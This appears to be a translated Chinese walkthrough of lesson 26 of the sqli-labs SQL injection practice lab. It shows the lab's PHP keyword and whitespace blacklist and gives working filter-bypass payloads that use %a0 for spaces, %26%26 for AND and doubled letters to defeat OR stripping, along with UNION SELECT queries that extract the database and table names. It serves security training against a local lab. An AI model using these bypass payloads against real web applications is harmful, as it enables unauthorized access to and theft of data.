Lesson 26
本节延续上一节(传送门)。进入实验室后,你会发现本次面临着比上一回更大的挑战,因为空格、注释、OR和AND全被过滤掉了。不过,和上一回相同,我们还是通过寻找它们的替代品来绕过该过滤器。
function blacklist($id)
$id=preg_replace('/OR/i',"",$id); //strip out OR (non case sensitive)
$id=preg_replace('/AND/i',"",$id); //strip out AND (non case sensitive)
$id=preg_replace('/[\/\*]/',"",$id); //strip out /*
$id=preg_replace('/[-]/',"",$id); //strip out -
$id=preg_replace('/[#]/',"",$id); //strip out #
$id=preg_replace('/[\s]/',"",$id); //strip out space
$id=preg_replace('/[\/\\\\]/',"",$id); //strip out slashes
Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%a0')
首先打开浏览器,输入http://localhost:81/sqli/Less-26/?id=1'%a0%26%26'1=1(注:具体以个人配置为准)
由上图可以看出,使用URL编码 %a0 我们已经成功地解决了空格的问题。
如果你已经明白了上面的方法,那么接下来,我们会对SQL查询语句做一点小小的改动以获取数据库信息。
http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,2,3%a0%26%26'1=1
由上图可以看出,显示的是第一列和第二列。(注:此图为译者所截,原文此处有误)
还是先获取数据库名:
http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26'1=1
由上图可以看出,数据库名为'security'。
接着来看看数据库中有哪些表:
http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26'1=1
由上图可以看出,当前的表名有:
T1: emails
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!